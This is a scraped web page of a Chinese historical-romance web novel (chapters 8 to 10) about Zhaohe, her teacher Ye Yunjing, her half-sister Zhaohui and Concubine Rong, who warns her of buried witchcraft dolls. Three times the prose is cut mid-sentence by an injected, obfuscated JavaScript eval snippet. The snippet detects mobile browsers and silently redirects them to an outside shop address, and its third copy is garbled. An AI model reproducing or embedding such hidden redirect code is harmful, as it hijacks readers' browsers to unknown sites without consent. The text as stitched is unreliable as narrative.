“我从没想过瞒你。”朝和抖着唇，眼皮颤抖得很厉害。她哆哆嗦嗦地牵了下嘴角，笑得却比哭还难看。 “你是我为数不多的好友，也或许如今早成了唯一一个。”朝和又哭又笑，“我哪里舍得呢？你待我如初，一片赤诚心肠，” “——何况也瞒不住你。”朝和苦笑。她挣扎着动了动指尖，终究没伸出手去。 她垂眸神色黯淡，感伤之际，却惊觉手被捉住了。 “云锦？”朝和呆呆道。 对面淌着热泪，弯起唇角：“幸好你没想着瞒我，才处处留了破绽。” “真若那般，我才真该生气。”叶云锦淌着热泪，攥住了她冰凉的指尖，“不过，你既肯松口，我便大发慈悲，原谅你了。” “只求你往后也莫要瞒我。” 朝和一闻此言，下意识想蜷缩指尖，叶云锦如有所感，将她攥得更紧了。 “怎么？”叶云锦道，“不成吗？” “不。”见挣脱不得，朝和只得摇头，“我怕往后危险重重，万一有计划不周到的地方，告诉你，岂非将你一并卷入其中？” 朝和情急之处，将左手也压在云锦手背上。 叶云锦不怒反笑：“你想与我分道扬镳？” “什么？” 见朝和愣怔，她冷笑一声，索性撂开手，整个人坐回椅上，只是脸上还挂着泪痕，是以杀伤力并不很大。 “你又想再续前缘，又不想让我牵扯其中。”叶云锦别过脸，抱起双臂，闷声道，“哪有那么便宜的事？” “若今日换我置身险境，我要你撒手走开，你又真能照做吗？”她猛地正过脸，目光灼灼，“你要贪心，就一并贪到底。思前想后，一点都不利索。” “云……” 见朝和意图反驳，叶云锦又一句堵死了她；“我可不记得这般教过你。” 朝和：“……” 此刻又摆出老师的架子了。她腹诽，却依旧不敢出声。 见状，叶云锦遂一锤定音：“你既不开口，我便当你默认，那事便这么定了。” 她眉间染上不耐烦的神色：“我一介布衣，漂泊不定的，落户京城先赶上你这个麻烦，我还没抱怨，你倒踌躇上了。” “往后有事，记得与我商量。”见朝和似有抗拒，叶云锦又拿出名头压人，“你作为学生，自然要以老师为先，免得你哪天又遭了算计。” “哪有。”朝和忍不住反驳，“我如今很有长进的。” 她急不可耐地开口，却又被叶云锦的冷眼扫清了退路。 见她缩得像鹌鹑，叶云锦瞬间绽开了笑颜。 云锦弯起唇角。 “所以，你也要相信我。”她语气坚定，“我孤身一人闯荡京城，什么时候该跑路，该明哲保身，我还是知道的。” 她的手与朝和的交叠在一起，掌心的温暖依附在朝和手上。 朝和无言地注视着她。 “你放心把后背交给我。”叶云锦郑重道。 “何况托你的福，如今可是有不少人请我做先生。假以时日，我必能入得高官府邸，到时，定有帮得上你的地方。”叶云锦颔首。 朝和听她满腔心思全予自己说听，心中震撼又感动。她启唇想说些什么，可千言万语，也只能汇做一个深深的眼神，一句笨拙的话。 “你这样待我。我真不知该如何回报好。”朝和低声道，她的垂眸凝视着两人相交的手，“你……万事小心。” “我晓得的。“叶云锦笑，”待此间事了，必仍全须全尾的。”她承诺着，又倾身，将另一只手也搭在朝和手上，声音温和又动听。 “你欠我的还少吗？”她说。 “别计较了。” “嗯。”朝和终于点头，幅度缓得像屋外晃悠悠抖雪的花—— 像茶叶舒卷一样，艳色浸在极白的雪里，终是密密层层地绽开了。 檐下滴滴答答的，冰也消融了。 这会是个盛极的春天。 …… “那我便走了？”朝和笑吟吟地掂起纸包朝云锦晃了晃，“喏，你最爱的，芙蓉糕。” 见她骄矜颔首，叶云锦心里好笑，她点了点头，又替朝和拽了拽斗篷。 “好。”叶云锦顺手接过点心，叮嘱道，“有事给我写信。” “嗯。我晓得你住处。”朝和轻声道，临转身了，也勾着云锦的臂弯，依依不舍的。 两人话别兴起，却不知头顶二楼阑干处，卫翎诧异的一双眼。 …… 平阳茶馆对面有座花满楼，平日多有显贵来往，卫翎也不例外。 他约了人在包厢。 …… 户部尚书李玟，是出了名的风流。 其隐姓埋名，出入青楼，豪掷千金博美人一笑之事，京城至今津津乐道。 此事一次则已，三番五次便少不得要引人计较。 这不，御史台抓了把柄，立马奏请了圣上。 皇帝痛斥李玟“沉湎女色，不修德行”，虽罚了他的俸禄，却也是是雷声大，雨点小，是以李玟得意至今，仍不思悔改，照旧快活风流。 可皇帝表面高拿轻放，却派卫翎暗中探查。 李玟虽担朝堂要职，可也不至于花钱似流水，金子仿佛源源不断。 卫翎派人打听，却依旧不得要领，更别提李玟与太子卫潜私交甚密，一时间焦头烂额，心生烦躁。 他开门透气，却正巧瞥见楼下朝和驻足，与叶云锦携手话别。 朝和眼圈红红，叶云锦也神色有异，显然是方将泪洒当场。 两人姿态亲密，恍若相识已久。 可据卫翎所知，叶云锦为人冷淡，不过教了朝和几天而已，姑且算点头之交，哪来的深情厚谊？ 叶云锦近来名声大噪一事，卫翎也有所耳闻，可视为其为挂名师生利益交换也无不可——毕竟朝和大梦初醒，却与先前判若两人，性情有异，大出风头前寻个先生的由头也是应该。 两人姿态亲密，卫翎着实费解，何况这叶云锦还有个非比寻常的、他极在意的身份。 卫翎神色凝重，骨节分明的手指圈紧了阑干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576768|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，用力到指尖发白。 ——她是沈从玉的旧识。 卫翎的唇极紧地抿成一条线。 ——且两人私交甚笃。 …… 栖霞院里。 “娘。”朝容倚在榻上，蜷缩在床头一角，“我的名声都丢尽了。” 她双目无神，此话一出，又忍不住呜呜哭了起来。 赵氏守在床尾，闻声心都要碎了。 朝容自出生起便是吃最好的，用最好的，绫罗绸缎、奇珍异宝供着她先挑，她捧在手心怕摔了，含在嘴里怕化了。 偏生在朝和那个黄毛丫头跟前受了这样大的委屈！赵氏愤恨地想，还有朝仪，她的那个二女儿，姐姐吃亏也不相帮，冷眼旁观，果真是处处不如容儿的白眼狼！ 她心头气难消，再一瞧女儿啜泣不止，更是心疼如断肠。 “若非朝和非提她那个破菩萨像，献宝一样来回讲，尖嘴利牙颠倒黑白，硬生生将你带进了沟里去，怎会惹你爹你祖母大怒？”赵氏拭着泪道。 朝容抽抽搭搭地抬起脸：“真的吗？不是我……”她磕磕绊绊道。 赵氏本就满心怨怼，一听沉默寡言好几日的女儿竟愿开口，顿时喜上眉梢，忍不住长吁短叹“到底是我的容儿太纯良”。 “全是那贱人狡猾生事，与我的容儿有什么相干？一时不慎，才遭了算计。”赵氏愤愤道，愈说愈上瘾，口中不住地咒骂着，“本想着她身世可怜，好容易神志清醒，多给她几分好脸色也无不可，谁知竟这般搬弄是非挑拨离间，惹你受了这样大罪。” 赵氏潸然泪下：“定是她嫉妒所为，容儿，你受苦了。” 朝容本来犹疑不定，担忧寿宴变故源她发生，可眼下见母亲这般斩钉截铁，仓皇的心竟瞬间安定下来。 “对……”朝容如梦初醒，目光也脱离了恍惚，“对！” “全是朝和一人之过。”她边说边抬眸，见赵氏目光欣慰，更增鼓舞，心中怨恨也愈积愈重，“她嫉妒我，想让我讨不得好处。” 朝容咬牙切齿，手紧紧握成了拳，像要将不甘都抓进去，连带着先前那点愧疚也消失不见了。 只见她猛得转脸，眼中闪着迫切的光。 “母亲！”朝容急不可耐，“不能由着她肆意妄为，否则，迟早有一天，这个家会没有我们的位置的！” “容儿说得对。”赵氏点点头，“再任她继续猖狂下去，恐怕下一个目标，就是你父亲了。” “她娘还在时就与我不合，老与我作对。”赵氏眼里满是怨恨，又很是痛快地说道，“所以她如今死了。” “不怕，容儿。”赵氏倏地将朝容的手拽过来，紧紧握在手里，“你有娘，她生的那个小贱人，不会害着你的。” 朝容“嗯”了一声，用力地点点头，转瞬脸上又迷茫起来。 “那娘。”朝容问，“我们怎么让朝和吃教训呢？” “教训？”赵氏冷笑，她依旧紧紧攥着女儿的手，仿佛能借此带来力量，好除掉悖逆她的一丝良知所带来的不快来。 “容儿。”赵氏满面怨毒，“我要让她滚出这个府邸，再也回不来，再也不能威胁你。” 8. 朝卉 梁上的燕子啾啾鸣鸣的，雪水半融着嗒嗒地从檐下掉下来，又被一把扫帚沙沙地扫去了。 地却还是湿漉漉的。 朝和新换了双锦靴，照旧提着糕点从府外走进来，大老远就瞅见个小姑娘。 她蹲在蒹葭院门口，背着身，看不清脸。 来来往往的都是下人，忙忙碌碌的，她一动不动地缩在那儿，突兀又怪异，过路的却对她视若无睹。 那小孩梳着丱髻，头顶还别着珠花，裙裳上是梅枝缭绕的暗纹，虽素雅，可于稚童而言，还是太成熟了些——更别提料子已经有些年头了。 朝和冷眼看着，倒像是大人改小了的衣装。 “那是谁？”她侧过头问，“瞧着也不像侍女。” 合璧细细看了半响，答：“小姐，那是行四的卉小姐，二爷的幼女。” “平日并不出来，是以看着眼生。” 四小姐？容姨娘的女儿？朝和诧异地投去目光。 她与容氏并无交情，看朝卉不过是七八岁的身量，平白无故的，让女儿来蒹葭院作甚？在门口蹲着却不进去，明摆着是等着她。 朝和如此想完，便打定主意走上前要瞧瞧这小孩在搞什么名堂。 可真等她到了跟前，却惊觉此处空无一物。 朝和望着朝卉的头顶沉吟了半响，终于柔声细语弯下腰：“四妹妹？” 小孩却是战栗了一下，她像是被惊着了，慌乱地四处转头，终于仰起脸找对了方向。 朝卉面颊消瘦，下巴尖尖，一见就是饥一顿饱一顿的模样，可衣裳却很齐整。 出乎预料的，她脸上并没有朝和想象的讶异，反倒是两只黑葡萄似的眼睛睁得圆圆的，小手捂住嘴“啊”了一声，便高兴得叫了出来。 “和姐姐！”朝卉道，她激动地蹦起来，一个趔趄差点摔倒，“可算是等到你啦。” 和姐姐？朝和眸光一暗，却仍是眼疾手快地伸出手，将她扶住了。 “慢些。”朝和道，等她站稳了才松开手。 “谢谢和姐姐。”朝卉感激地道了谢，这才笑盈盈地抬起头，脸上满是天真无邪，“我等了和姐姐好久了。” “好久？”朝和蹲下身，与她平视着目光，轻声问，“为什么？” “我听说和姐姐病好了，就赶过来看看，一见果然如此！”她笑眯眯地拍着手，一副很替朝和高兴的模样，“姐姐能记住我的名字了！” 可是为什么呢？朝和凝视着她，记住一个名字，便令她这般欢喜吗？ 珠连合璧的印象里，她可从未与这个四妹有过交情。 朝和定定地看着朝卉，牵住了她的手。 掌心手背相贴，朝和却变了脸色。 孩子的手小小的，却粗糙得像沙砾。 一时间，朝和悲上心头。怜悯中来，又归同情中去，她凝视着眼前这张蜡黄的面孔，不由自主地，想到了前世的自己。 “是你娘告诉你的吗？”朝和道，她的眼一眨不眨地注视着朝卉，握紧了朝卉的手。 朝卉点点头，接着，又如觉察到朝和内心难以平复一般，不安地回握住了她的手。 朝和心头一热。她温柔地摸了摸朝卉的头发：“好孩子。” “姐姐这里有热腾腾的芙蓉糕，你想吃吗？” 朝卉一听有糕吃，当即使劲地点点头，大声“嗯”了一声。 见朝卉一脸渴盼，朝和笑意更深了。 “给。”她温声道，“都拿去吧。” “要来蒹葭院坐坐吗？”见朝卉慎之又慎地将糕塞进怀里装好，还心满意足地拍了拍，朝和忍不住又笑，“里头还有许多点心，你想吃，便来拿好了。” 朝卉却摇摇头。 “不了，谢谢姐姐。”她仰起脸，小脸上绽开了大大的笑，“姐姐愿意给我东西吃，已经帮了卉儿大忙啦，娘告诉卉儿，不可以给别人添麻烦，卉儿也想早点回去，把芙蓉糕给娘亲吃。” 朝和闻言，也不再强求，她柔声应了句“好”，便直起腰，看朝卉一步三回头地摆手，欢天喜地地大步向前跑去。 合璧旁观了许久，终于走过来，默默给朝和掸了掸灰尘。 “小姐怎么想？”她轻声问。 “容姨娘什么动机，暂不明朗，只是她这个女儿，倒是个心思澄澈的。”朝和弯了下唇，“藏不住话，却也灵敏。” “奴婢亦觉如此。”合璧深以为然地点点头，却垂眸望见了青灰色的地面，不觉担忧道，“只是雪天路滑，四小姐跑那么急，不会摔跤吧？” 见她忧心忡忡的，朝和连忙安慰道：“那小姑娘机灵，断不会教自己吃亏的，你放心吧。” “不过，你提醒我了。”朝和面露期许，“我们确实得去见一见这位容姨娘了。” 她的话裹在唇边的白气里，笑吟吟地呵出来，像一团团的皂角泡，透明又绮丽，没一会，便又消失在喟叹里。 “——不如现在就去吧。”朝和揣住了手。 “四妹妹若摔了，总是不好。” …… “小姐，再走一段路，便是芳芜院了。”合璧介绍道。 “芳芜？”朝和诧异，“怎的起了这样个名字？” 见合璧不解，朝和解释道：“总给我一种荒芜之感。” 芳菲荒芜，谓之芳芜。 “唔。或许小姐说得也不错。”合璧想了一想，又附和，“曾经二爷有多疼宠容姨娘，如今便有多冷落了。” 她叹了口气：“唉，世事多变，如今竟也应景了。” 二人正相携说着，却听不远处传来阵阵喧闹，嘈杂得很。 “怎么回事？”朝和蹙眉，她仔细一瞧，眉毛皱得更紧了。 目之所及的门口，干柴码得整整齐齐。 这里是个什么地方，已经显而易见， 朝和抿了抿唇。 她知道，眼前是个柴房。 “听声音，似乎是还在后头。”朝和冷声道，脸上的神情也不自觉严肃起来。 “小姐？”合璧讶异，“我们不是要去寻四小姐吗？”她追问道，不明白为何半路突发事端，朝和便执着得非去弄明白究竟。 小姐分明不是爱管闲事的人啊？合璧百思不得其解。 朝和却也没有多说。 “走吧。”她催促道，眼紧紧盯着柴房，似乎想透过毛糙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576769|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的墙壁看出后头的情景来，“我们去看看。” 话毕，不等合璧回神，她已迅速转身，大步朝喧嚣处走去了。 “小姐！”留得合璧在后头叫喊，“等等我！小姐！” …… 朝和走得很快，合璧一溜小跑，紧赶慢赶才追上。 正当她气喘吁吁地直起腰，刚想说些惊叹朝和迅速的话时，却被眼前的景象惊得目瞪口呆。 只见她家病弱的小姐，正将哭得稀里哗啦的朝卉护在身后，用尽全身力气，“啪”得一声，狠狠甩了对面一个耳光。 朝和指着几人的鼻子怒骂，手上青筋暴起：“狗奴才！四小姐也是你能冒犯的？你算个什么东西，竟敢对主子言语不敬，动手动脚？” 她指尖战栗着，直挺挺地从紧绷的拳头中刺出来，如同森寒的刀剑，嗡鸣不止。 整个人锋芒毕露。 对面的小厮惊惧不已，纷纷“扑通”“扑通”地跪倒在地，头深深地埋在地上，冷汗直流。 朝和胸腔震动，眉心突突直跳。 她浑身颤抖，却仍深吸了一口气，调整呼吸，而后轻轻地牵起朝卉的手，想摸摸这可怜孩子的额发，挤出一个笑。 想必是受惊了。朝和心疼地想，方才还咬着牙一声不吭，任由几个刁奴推搡，她一来便嚎啕大哭，若非受了极大的委屈，怎会隐忍不发？ 朝和心头酸涩，一把将哆嗦的朝卉捞进怀里。 她拍着朝卉的头，轻声细语间，垂眸随意一瞥，又差点没背过气去。 只见满地狼藉。红的白的糕点滚落一地，连纸袋子也被撕扯得粉碎，抽绳歪在一个小厮脚边，他正巧颤颤巍巍地掀起眼，嘴上沾着粉红的糖屑。 朝和刚略有平复的怒火，又腾腾烧了起来。 她两眼一闭，“噌”的一声就要起身，却因气极趔趄，险些摔倒了去。 还好有朝卉眼疾手快地伸手拽住，朝和才幸免于难。 她站稳了身子，苦笑着摸了摸朝卉的鬓角，又半蹲着牵住了孩子的手。 “小姐！”合璧泫然若泣——早在朝和弯腰时她便在傍心惊胆战地看着了，又怕坏小姐的事踌躇着不敢靠近，方将见朝和险些摔倒，忙一个箭步冲了过来—— “小姐！吓死我了，没事吧，小姐？”合璧捧着朝和的手。 朝和微笑着摇摇头，随即便在合璧的惊呼声中，歪倒在了她身上。 合璧紧紧搂着她。 朝和缓了会气，待她平复了呼吸，便又撑起身子，冲那几个匍匐的奴才冷笑：“既分不清谁主谁仆，我看也不必送去学规矩了。” “各打二十大板逐出府去。”朝和冷声吩咐，“管家若问起，这就是不敬四小姐的下场。” “再有异议，这个月的薪水，你们也别想要了！” …… 听那几个奴才鬼哭狼嚎，连滚带爬地被侍卫拖出去，朝和这才顾上好好安抚小姑娘。 “瞧你这小脸跟花猫似的。”朝和蹲下身，嗔怪地瞧了朝卉一眼，从怀里抽出条帕子。 “来，姐姐给你擦擦。” 她歪着头，举起帕子跟朝卉的脸比对，笑得很温柔。 9. 容氏 “好了，干净了。”朝和仔细盯了半响，又拿帕子在朝卉脸上贴了贴，见她配合得挤了只眼，不觉微笑，“好孩子。” 朝和夸了一声，又直起腰，替朝卉理了理鬓发，理完，便一动不动地盯着她，将手紧紧揣在怀里，目光深远。 她抬着头，分明离朝卉这样近，却像在透过朝卉，看别的什么东西，神色哀切又恍惚。 “和姐姐。”朝卉见她愣神，不安地唤了一声，“你怎么了？” “嗯？” “你还好吗？”朝卉担忧地低头，俯身拽了拽朝和的袖子。 这才将她拉回神。 “无妨。”她苦笑着牵了一点唇角，“只是想起了高兴的事。”她举起手臂，手心温柔地贴了贴朝卉的脸。 “那……” 见朝卉张着嘴还想问什么，朝和忙别过脸率先打断了她。 “我们走吧。”她站起身，牵起朝卉的手，“你娘还等着呢。” …… “卉儿。”朝和走在路上，干脆直截了当地问了，“你娘什么样的人呢？” 一听朝和语气如此亲近，朝卉又惊又喜，连忙答道：“我娘是个很好的人！” “她会缝衣服，会洗碗，会做饭，还会打扫。”朝卉一蹦一跳，“哦对了，我的小揪揪也是她扎的！” “那卉儿娘真厉害。”朝和莞尔。 “是呀！”朝卉喜滋滋道，“我娘无所不能！” 可她欢喜了片刻，神情又猛然间沮丧了：“可是……” 朝和敏锐地瞧了她一眼，追问道：“可是什么了？” “可是夫人总是来找我娘，她每次来，娘都把我关在门外，我什么都听不见，只好守着等门开。”朝卉闷闷不乐道，“夫人一走，我便赶紧去找娘，可回回娘都显得很疲惫，我问她，她却什么都不说，还会训斥我。” 朝卉鼓着嘴，一脚踢开过路的小石子。 她说出来本意是想讨朝和安慰，可朝和只是默默看着她，从始至终都没开口。 她觉得不对，抬起头想摇摇朝和的手，却瞥见了一处陈旧的，许久都未曾修缮的院落。 初春料峭，一点点嫩绿的爬山虎刚攀在墙垣上，紧紧地与那些嫩红的叶子挨在一起，盖住了半壁斑驳。 朝卉也在开心地笑：“姐姐！”她指向那新生的爬山虎：“我家到啦！” …… “卉儿！”容氏跌跌撞撞地跑出来，蹲下抱着朝卉左看右看，“卉儿，出去一趟，你没事吧？” “嗯？”她捧着朝卉的脸，“让娘看看。” “娘！”朝卉摇摇头，咧开嘴笑，“我没事！” “对了娘！”她兴冲冲地指了指身后，你瞧，我把和姐姐带来了。” “我做得好吧？”她得意地昂起脸，一副求夸赞的可爱样。 容姨娘这才注意到后头的朝和，她一脸尴尬地看了看女儿，还是先给朝和行了礼：“和小姐好。” 和小姐？朝和心里“哦”了一声。 原来朝卉是跟她娘学的。 只见容氏低眉屈膝，匆匆将朝卉拉在身后：“卉儿年纪小，想必给和小姐添了许多麻烦吧？我这个娘，代她向和小姐赔不是。” “容姨娘这是什么话？”朝和亲自上手，笑吟吟地将她扶起来，“四妹妹天真可爱，我喜欢得紧呢。” “我早说了娘。”朝卉嚷嚷，“和姐姐肯定会待我很好的。” 她亮晶晶地望向朝和：“对吧，和姐姐？” “嘘！”容氏轻声呵斥她，“卉儿，别说了！”再说，为娘的底都要被你露完了！ 朝卉瞧了瞧她娘严厉的面孔，又瞅了瞅朝和似笑非笑的神色，“哦”了一声，拉住容氏递过来的手，规规矩矩站在她身侧，只是嘴里还在嘀嘀咕咕。 “真的很好。”她小声强调，“娘你不知道，我路上又遇上冯超那伙人了。” “什么？”容氏惊愕地看了她一眼，又小心翼翼望了望正津津有味观看她们互动的朝和，连忙道，“不会是和小姐又帮了你吧？” 见朝卉重重点头，容氏嘴唇微张，忙转过头郑重其事地道谢。 “若不是和小姐，卉儿恐怕……”容氏后怕地闭了闭眼，再抬眸，已满眼坚定，“多谢小姐照看，妾身感激不尽。” 见她又要客气躬身，朝和开口制止了她。 “客套话再不必说了。”朝和摇摇头，见容氏一愣，又笑吟吟道，“姨娘，真不请我到屋内坐坐？我可是有一肚子话，想说与你听呢。” 四目对视，容氏顿了顿，忙殷勤地侧身：“怎么会！小姐先请！” …… 女子一袭青衣，松松在后脑绾了个半月型的发髻，她斟茶时，举止娴雅，双颊旁的编发却就此落下，遮住了半张白皙的面容。 她的眼长而媚，眉心一点红痣，更显美艳。面庞白净，却没有一丝红润，看起来，确实病了许久。 “小姐请。”容氏笑容温婉，仰头时，脖颈线条流畅，细腻得仿佛不沾烟尘。 是真正的肤如凝脂。 怪不得朝彦拼了命地也要将她带回来，朝和想。她打量容氏的目光清亮又透彻—— 这样美艳绝伦却柔情似水的仙女，青楼里能有几个？若她是个男人，见过这么个花容月貌的冷美人，也绝不甘心远观完毕撒手离去。 朝和摇摇头，也将茶水一饮而尽。 “茶也喝了。夫人可以说正事了。”朝和淡声道。 “夫人？”容氏诧异。 朝和弯唇，指尖搭在杯壁上，饶有兴致地抬头望着她：“和小姐，还不能唤一声夫人吗？” 容氏怔了一下，又拢了神色微笑道：“自是可的。” “那便再好不过了。”朝和颔首，“夫人请。” 朝和本以为容氏以朝卉诱她前来，在开诚布公前，至少要先说些抛砖引玉的客套话，好令朝和共情以成事，可谁料她一上来便直奔了正题。 “和小姐。”容氏道，“赵氏，在您后院埋了巫蛊人偶。” 她神色柔和，言谈却惊世骇俗。 什么？ 朝和本在把玩茶杯，闻言动作一顿，猛地转头瞥向容氏。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576770|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> ——她一扫方才懒散目光，险些拍案而起。 容氏却仍是慎之又慎的模样，观神情，不似说谎。 见状，朝和只好极力稳下心神，决心静观其变。 “你知不知道你在说什么？”她眼中晦暗不明。 “妾身亲眼所见。”容氏斩钉截铁。 “亲眼所见？”朝和冷笑，“芳芜院与蒹葭院相隔甚远，你地处偏僻，且不说看，便是听也难得。” “小姐不信妾身。”容氏径直指出。 “我该信吗？”朝和反问，“你可知巫蛊是多大的罪过？若传到圣上耳中，不管你我有没有干系，都得杀头。” 朝和闭了闭眼：“我与你萍水相逢。” “平白无故的，是想借我去告发赵氏，而后你一箭双雕高枕无忧？”她幽幽道，面露审视。 纵面对如此揣测，容氏却仍是不卑不亢的模样。 “小姐未必太看得起妾身。”容氏本是背身站着，体态恭顺又贤良，可紧接着她便转过身，声音悲愤又激昂，“也太看低了自己了！” 她剧烈咳嗽起来。朝和却始终冷眼相观。 “你出身青楼，怎会不识人间炎凉？若想借此引起我同情心切，对你可怜有加深信不疑，那才是真正看轻了我。”朝和冷声道。 容氏却依旧剧烈咳嗽，几次三番想吸气开口，却终究不得法，只得紧紧捂住嘴。 “你确实病得厉害。”朝和道，“可我顶多替你请个府医，治不了你的心病。” “二小姐……咳咳咳……怎么……咳咳咳看出……妾身有……咳咳咳咳咳咳咳心病……了？”她唇线发白，艰难地吐出了无关紧要的几个字，转眼又弯下腰剧烈咳嗽起来，身子都倚住了桌板。 “我该说你天真，还是该说你傻？”朝和叹了口气，还是起身给她顺了顺气，将容氏扶在了椅子上。 容氏喘着气，半响才睁开眼， “天真也好，傻也罢。”容氏自嘲，她低着头，手掩在袖口里，浑身颤抖，“可不试试，怎么知道呢？” “就像我曾经使劲手段、教朝彦将我迎娶回府一样！”容氏高声道。 似乎是由于说至情真意切处，她又剧烈干咳起来。 “可也不过几年的光景，他便弃我而去了。”容氏苍凉地勾起了嘴角，整个人靠在椅背上，虚弱又无力。 “二小姐，您不明白吗？”她抬头看向朝和，眼中泪光莹莹。 “我说这些，只是想剖明心迹，想让您放心。”容氏哭得梨花带雨，好不可怜，“妾身根本从无坏心，只想让您提防着赵氏，好免于她毒手罢了。” “至于消息来源，是卉儿，卉儿到处乱跑时偷看到的。二小姐出门那日，她无意间瞥见有人进了二小姐的屋子，是个生面孔。”容氏急切道，“二小姐回去可派人探查，必定有土松散之处！” 见朝和默然，容氏闭了闭眼，再抬眸时，已满脸决绝。 “若二小姐不信，妾身大可以发誓！” “为娘的，总不会咒自己的孩儿。” 她潸然泪下。 10. 共识 朝和虽没什么表情，却始终在用心听着，闻言，不由瞥了容氏一眼。 “不必了。”朝和道。 “我这人，虽说平时最恨被算计。”她心平气和道，“可你是朝卉的亲娘。 “她与你亲近，我便信你一二。” “若此事属实，我欠你个人情。”朝和淡声道。 她话音将尽，容氏便急不可耐地开口了，脸上一派感动：“二——” 可稍纵，朝和便打断了她。 “只是往后，莫在我面前做这些楚楚可怜的戏码。”朝和睨着她，“我一早就说过，我不吃这套。” 容氏愣了一下，她惊诧地抬起头，抖了抖唇，却终于是默不作声。 见她竟仍扮作委屈，朝和索性把话挑明了讲。 “你既不是真心在意朝彦的恩宠，又决计不会赌上女儿的前程，自始自终装腔作势，不过是以为捏准了旁人的心意——” “不过这话倒也不错。”朝和若有所思地点点头，倏地话锋一转，莞尔一笑，“你确实拿住了。” 朝和一字一顿，灼灼地看向她。 容氏许久无言。她被这陡然一笑惊了心神，只得抖着指尖抬起茶盏，舒了口气低声问道：“你是怎么看出来的？” “我自认为天衣无缝。”她握紧了茶杯。 朝和摇摇头：“你这招对朝彦奏效，可我与你非亲非故，又被你莫名牵引，干什么不提防？” “何况，你先前作态也太刻意了些。”见容氏惊愕抬眸，朝和想了想，又补充了几个字——她面上云淡风轻，话中却透着狡黠，“直觉。” “……你这也太不讲道理了些。”容氏无言地注视了她半响，终于轻声道。 “无论如何，总归奏效。”朝和趴在桌上，指尖挑了挑茶盏，“好了，如今换我问你。” 她直起腰，凝望着容氏，收敛了笑意：“你为什么帮我？”朝和认真道。 容氏却轻巧一笑：“二小姐既知晓，何必多问？” 她挑了挑眉梢，倏地喟叹着望向糊着纸的雕花窗棂，朦朦胧胧的，气音融在雾气里。 “何况，您父亲要回来了。” …… “小姐。”合璧踌躇了一路，终究斟酌着开了口。 ——可她却并没有问芳芜院内的情景，反倒问起了另一桩事。 “小姐当时行至半路，闻声嘈杂，为什么非去帮四小姐出头呢？”她郑重道，见朝和投来目光，又焦急补充道，“小姐！奴婢不是质疑您，也并非不喜四小姐，奴婢只是不解，不，奴婢只是——” 见她语无伦次，越说越乱，朝和忍俊不禁，索性接话道；“只是好奇是吗？” “对！”合璧干脆利落地点头，又期盼道，“那，小姐愿意告诉奴婢吗？” 见朝和缓缓侧头，神思不属，合璧忙道：“小姐若为难，便不必说了。” “都怪奴婢，嘴笨得很。”她沮丧垂眸。 见她仍扒着自己的胳膊不撒手，朝和弯了弯眉梢。 “没什么不能说的。”她拍了拍合璧的肩膀，眼神飘忽忽的，“只是，像故人罢了。” “故人？”合璧迷惑地重复道。 “嗯。故人。”朝和微笑着说，转瞬又挑开了话头，“那么你呢？” “我？”合璧不解。 “你又为什么，没问我屋内的情景呢？”朝和轻声道。 这下换合璧牵起了嘴角。 “小姐做事，有小姐的道理，奴婢只要跟从便好了。”她郑重其事道，“若今日是珠连，也必定如此。” 朝和心中震动，嘴上却不着调地勾起一抹笑。 “嗯。”朝和状似老实巴交地点点头，道，“现在不好奇了。” 合璧恼羞成怒。 “小姐！” 她搀紧了朝和的胳膊。 …… “好了，好了，不逗你了。”朝和哄劝道，“我们家合璧最好了。” 合璧闷闷“哼”了一声。 朝和含笑望着她飞红的双颊，末了转头道出句话来：“我们，去栖霞院转转吧。” “今儿天正好呢。” 太阳渐渐下山去了，留得一抹灿烂的朝霞，从亮堂堂的山后出来，五光十色的，像串宝石络子，缀在翡翠上。 …… 含星一抬头，瞬间拉长了脸。 “二小姐，您怎么又来了？”她不耐道，“我们小姐的意思很清楚，她不见外客。” 含星余音未尽，也不等朝和吭声，手已经利利索索地扒在了门框上。 ——她正是先前朝和将醒，被派来跑腿的粉衣侍女。 “无妨。”朝和却依旧端着笑脸，一副好脾气的模样，“含星姑娘不如再替我通传一声？姐姐一听是我，指不定会变了主意。” 她慢条斯理地将怒气冲冲的珠连拦在身后。 含星鼻子里哼了一气，冷冰冰道：“还有句话，奴婢没来得及告诉您。” 朝和点点头，温声示意她请。 “我们小姐说。”含星一字一顿，满脸讥嘲，“尤其不见您。” “请回吧。” 只见她重重甩手，“砰”一下合上了门，恶狠狠地下了逐客令。 珠连站在原地，目瞪口呆。 “小姐！”她瞠目结舌地指了指严丝合缝的门框，“她，她竟敢这么对小姐？” “不行！我要找她算账！”珠连心一横，就要冲上去敲门，“大小姐叫不动，可她一个奴婢，凭什么朝小姐甩脸色？” “待她开门，我必定要她好看！”珠连愤恨不平，口中喋喋不休，朝和却一把拽住了她。 “小姐？”珠连惊讶。 